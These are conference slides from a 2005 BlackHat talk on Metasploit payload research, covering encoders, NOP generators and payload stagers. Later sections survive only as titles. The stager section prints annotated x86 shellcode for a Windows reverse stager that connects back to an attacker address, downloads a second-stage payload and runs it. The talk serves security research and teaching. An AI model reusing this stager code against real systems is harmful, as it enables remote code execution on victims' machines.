Beyond EIP

spoonm & skape

BlackHat, 2005

Part I

Introduction

Who are we?

- spoonm
  - Full-time student at a Canadian university
  - Metasploit developer since late 2003
- skape
  - Lead software developer by day
  - Independent security researcher by night
  - Joined the Metasploit project in 2004

What will we discuss?

- Payload stagers
  - Windows Ordinal Stagers
  - PassiveX
  - Egghunt

What will we discuss?

- Payload stagers
  - Windows Ordinal Stagers
  - PassiveX
  - Egghunt
- Payload stages
  - Library Injection
  - The Meterpreter
  - DispatchNinja

What will we discuss?

- Payload stagers
  - Windows Ordinal Stagers
  - PassiveX
  - Egghunt
- Payload stages
  - Library Injection
  - The Meterpreter
  - DispatchNinja
- Post-exploitation suites
  - Very hot area of research for the Metasploit team
  - Suites built off of advanced payload research
  - Client-side APIs create uniform automation interfaces
  - Primary focus of Metasploit 3.0

Background: the exploitation cycle

- **Pre-exploitation** - Before the attack
  - Find a bug and isolate it
  - Write the exploit, payloads, and tools

Background: the exploitation cycle

- **Pre-exploitation** - Before the attack
  - Find a bug and isolate it
  - Write the exploit, payloads, and tools
- **Exploitation** - Leveraging the vulnerability
  - Find a vulnerable target
  - Gather information
  - Initialize tools and post-exploitation handlers
  - Launch the exploit

Background: the exploitation cycle

- **Pre-exploitation** - Before the attack
  - Find a bug and isolate it
  - Write the exploit, payloads, and tools
- **Exploitation** - Leveraging the vulnerability
  - Find a vulnerable target
  - Gather information
  - Initialize tools and post-exploitation handlers
  - Launch the exploit
- **Post-exploitation** - Manipulating the target
  - Command shell redirection
  - Arbitrary command execution
  - Pivoting
  - Advanced payload interaction

Part II

Exploitation Technology’s State of Affairs

Payload encoders

- Robust and elegant encoders do exist
  - SkyLined’s Alpha2 x86 alphanumeric encoder
  - Spoonm’s high-permutation Shikata Ga Nai

Payload encoders

- Robust and elegant encoders do exist
  - SkyLined's Alpha2 x86 alphanumeric encoder
  - Spoonm's high-permutation Shikata Ga Nai
- Payload encoders generally taken for granted
  - Most encoders use a static decoder stub
  - Makes NIDS signatures easy to write

NOP generators

- NOP generation hasn't publicly changed much
  - Most PoC exploits use predictable single-byte NOPs (`0x90`), if any
  - ADMmutate's NOP generator easily signatured by NIDS (Snort, Fnord)
  - Not considered an important research topic to most

NOP generators

- NOP generation hasn't publicly changed much
  - Most PoC exploits use predictable single-byte NOPs (`0x90`), if any
  - ADMmutate's NOP generator easily signatured by NIDS (Snort, Fnord)
  - Not considered an important research topic to most
- Still, NIDS continues to play chase the tail
  - The mouse always has the advantage; NIDS is reactive
  - Advanced NOP generators and encoders push NIDS to its limits
  - Many protocols can be complex to signature (DCERPC fragmentation)

NOP generators

- NOP generation hasn't publicly changed much
  - Most PoC exploits use predictable single-byte NOPs (`0x90`), if any
  - ADMmutate's NOP generator easily signatured by NIDS (Snort, Fnord)
  - Not considered an important research topic to most
- Still, NIDS continues to play chase the tail
  - The mouse always has the advantage; NIDS is reactive
  - Advanced NOP generators and encoders push NIDS to its limits
  - Many protocols can be complex to signature (DCERPC fragmentation)
- Metasploit 2.4 released with a wide-distribution multi-byte x86 NOP generator (Opty2)

Exploitation techniques

- Exploitation techniques have become very mature
  - Linux/BSD/Solaris techniques are largely unchanged
  - Windows heap overflows can be made more reliable (Oded/Shok)
  - Windows SEH overwrites make exploitation easy, even on XPSP2

Exploitation techniques

- Exploitation techniques have become very mature
  - Linux/BSD/Solaris techniques are largely unchanged
  - Windows heap overflows can be made more reliable (Oded/Shok)
  - Windows SEH overwrites make exploitation easy, even on XPSP2
- Exploitation vectors have been beaten to death

Exploitation techniques

- Exploitation techniques have become very mature
  - Linux/BSD/Solaris techniques are largely unchanged
  - Windows heap overflows can be made more reliable (Oded/Shok)
  - Windows SEH overwrites make exploitation easy, even on XPSP2
- Exploitation vectors have been beaten to death
- ...so we wont be talking about them

Standard payloads

- Standard payloads provide the most basic manipulation of a target
  - Port-bind command shell
  - Reverse (connectback) command shell
  - Arbitrary command execution

Standard payloads

- Standard payloads provide the most basic manipulation of a target
  - Port-bind command shell
  - Reverse (connectback) command shell
  - Arbitrary command execution
- Nearly all PoC exploits use standard payloads

Standard payloads

- Standard payloads provide the most basic manipulation of a target
  - Port-bind command shell
  - Reverse (connectback) command shell
  - Arbitrary command execution
- Nearly all PoC exploits use standard payloads
- Command shells have poor automation support
  - Platform dependent intrinsic commands and scripting
  - Reliant on the set of applications installed on the machine
  - Hindered by by chroot jails and host-based ACLs

“Advantage” payloads

- Advantage payloads provide enhanced manipulation of hosts, commonly through the native API
- Help to reduce the tediousness of writing payloads
- Core ST’s InlineEgg

Part III

Payload Stagers

What are payload stagers?

- Payload stagers are small stubs that load and execute other payloads
- The payloads that are executed are known as stages
- Stages perform arbitrary tasks, such as spawning a shell

What are payload stagers?

- Payload stagers are small stubs that load and execute other payloads
- The payloads that are executed are known as stages
- Stages perform arbitrary tasks, such as spawning a shell
- Stagers are typically network based and follow three basic steps
  - Establish connection to attacker (reverse, portbind, findsock)
  - Read in a payload from the connection
  - Execute a payload with the connection in known a register

What are payload stagers?

- Payload stagers are small stubs that load and execute other payloads
- The payloads that are executed are known as stages
- Stages perform arbitrary tasks, such as spawning a shell
- Stagers are typically network based and follow three basic steps
  - Establish connection to attacker (reverse, portbind, findsock)
  - Read in a payload from the connection
  - Execute a payload with the connection in known a register
- The three steps make it so stages are connection method independent
  - No need to have command shell payloads for reverse, portbind, and findsock

Why are payload stagers useful?

- Some vulnerabilities have limited space for the initial payload
- Typically much smaller than the stages they execute
- Eliminate the need to re-implement payloads for each connection method

Windows ordinal stagers

- Technique from Oded's lightning talk at core04
- Uses static ordinals in `WS2_32.DLL` to locate symbol addresses
- Compatible with all versions of Windows
- Results in very low-overhead symbol resolution
- Facilitates implementation of reverse, portbind, and findsock stagers
- Leads to very tiny win32 stagers (92 byte reverse, 93 byte findsock)
- Technical write-up at `http://www.metasploit.com/users/spoonm/ordinals.txt`

Implementing a reverse ordinal stager

- Locate the base address of `WS2_32.DLL`
  - Extract the Peb->Ldr pointer
  - Extract Flink from the InInitOrderModuleList
  - Loop through loaded modules comparing module names
  - Module name is stored in unicode, but can be partially translated to ANSI in 5 bytes
  - Once `WS2_32.DLL` is found, extract its BaseAddress.

Implementing a reverse ordinal stager

- Locate the base address of `WS2_32.DLL`
  - Extract the Peb->Ldr pointer
  - Extract Flink from the InInitOrderModuleList
  - Loop through loaded modules comparing module names
  - Module name is stored in unicode, but can be partially translated to ANSI in 5 bytes
  - Once `WS2_32.DLL` is found, extract its BaseAddress.
- Resolve `socket`, `connect`, and `recv`
  - Use static ordinals to index the address table

Implementing a reverse ordinal stager

- Locate the base address of `WS2_32.DLL`
  - Extract the Peb->Ldr pointer
  - Extract Flink from the InInitOrderModuleList
  - Loop through loaded modules comparing module names
  - Module name is stored in unicode, but can be partially translated to ANSI in 5 bytes
  - Once `WS2_32.DLL` is found, extract its BaseAddress.
- Resolve `socket`, `connect`, and `recv`
  - Use static ordinals to index the address table
- Allocate a socket, connect to the attacker, and read in the next payload

Implementing a reverse ordinal stager

- Locate the base address of `WS2_32.DLL`
  - Extract the Peb->Ldr pointer
  - Extract Flink from the InInitOrderModuleList
  - Loop through loaded modules comparing module names
  - Module name is stored in unicode, but can be partially translated to ANSI in 5 bytes
  - Once `WS2_32.DLL` is found, extract its BaseAddress.
- Resolve `socket`, `connect`, and `recv`
  - Use static ordinals to index the address table
- Allocate a socket, connect to the attacker, and read in the next payload
- Requires that `WS2_32.DLL` already be loaded in the target process

Locating WS2_32.DLL's base address

```
FC          cld                      ; clear direction (lodsd)
31DB        xor ebx,ebx              ; zero ebx
648B4330    mov eax,[fs:ebx+0x30]    ; eax = PEB
8B400C      mov eax,[eax+0xc]        ; eax = PEB->Ldr
8B501C      mov edx,[eax+0x1c]       ; edx = Ldr->InitList.Flink
8B12        mov edx,[edx]            ; edx = LdrModule->Flink
8B7220      mov esi,[edx+0x20]       ; esi = LdrModule->DllName
AD          lodsd                    ; eax = [esi] ; esi += 4
AD          lodsd                    ; eax = [esi] ; esi += 4
4E          dec esi                  ; esi--
0306        add eax,[esi]            ; eax = eax + [esi]
                                     ; (4byte unicode->ANSI)
3D32335F32  cmp eax,0x325f3332       ; eax == 2_32?
75EF        jnz 0xd                  ; not equal, continue loop
```

Resolve symbols using static ordinals

```
8B6A08      mov ebp,[edx+0x8]      ; ebp = LdrModule->BaseAddr
8B453C      mov eax,[ebp+0x3c]     ; eax = DosHdr->e_lfanew
8B4C0578    mov ecx,[ebp+eax+0x78]; ecx = Export Directory
8B4C0D1C    mov ecx,[ebp+ecx+0x1c]; ecx = Address Table Rva
01E9        add ecx,ebp            ; ecx += ws2base
8B4158      mov eax,[ecx+0x58]     ; eax = socket rva
01E8        add eax,ebp            ; eax += ws2base
8B713C      mov esi,[ecx+0x3c]     ; eax = recv rva
01EE        add esi,ebp            ; eax += ws2base
03690C      add ebp,[ecx+0xc]      ; ebp += connect rva
```

Create the socket, connect back, recv, and jump

```
; Use chained call-stacks to save space
; connect returns to recv returns to buffer (fd in edi)
53         push ebx                    ; push 0
6A01       push byte +0x1              ; push SOCK_STREAM
6A02       push byte +0x2              ; push AF_INET
FFD0       call eax                    ; call socket
97         xchg eax,edi                ; edi = fd
687F000001 push dword 0x100007f        ; push sockaddr_in
68020010E1 push dword 0xe1100002
89E1       mov ecx,esp                 ; ecx = &sockaddr_in
53         push ebx                    ; push flags (0)
B70C       mov bh,0xc                  ; ebx = 0x0c00
53         push ebx                    ; push length (0xc00)
51         push ecx                    ; push buffer
57         push edi                    ; push fd
51         push ecx                    ; push buffer
6A10       push byte +0x10             ; push addrlen (16)
51         push ecx                    ; push &sockaddr_in
57         push edi                    ; push fd
56         push esi                    ; push recv
FFE5       jmp ebp                     ; call connect
```

Overview

Implementation

Practical use: HTTP tunneling

Pros & cons

Overview

Hunting for eggs with SEH

Hunting for eggs with system calls

Part IV

Payload Stages

What are post-exploitation stages?

Overview

Types of library injection

In-memory library injection on Windows

In-memory library injection on UNIX

Library injection in action: VNC

Overview

Design goals

Communication protocol specification

Client/Server architecture

Extension flexibilities

Meterpreter extensions in action: Stdapi

Cool dN stuff here

Part V

Post-Exploitation Suites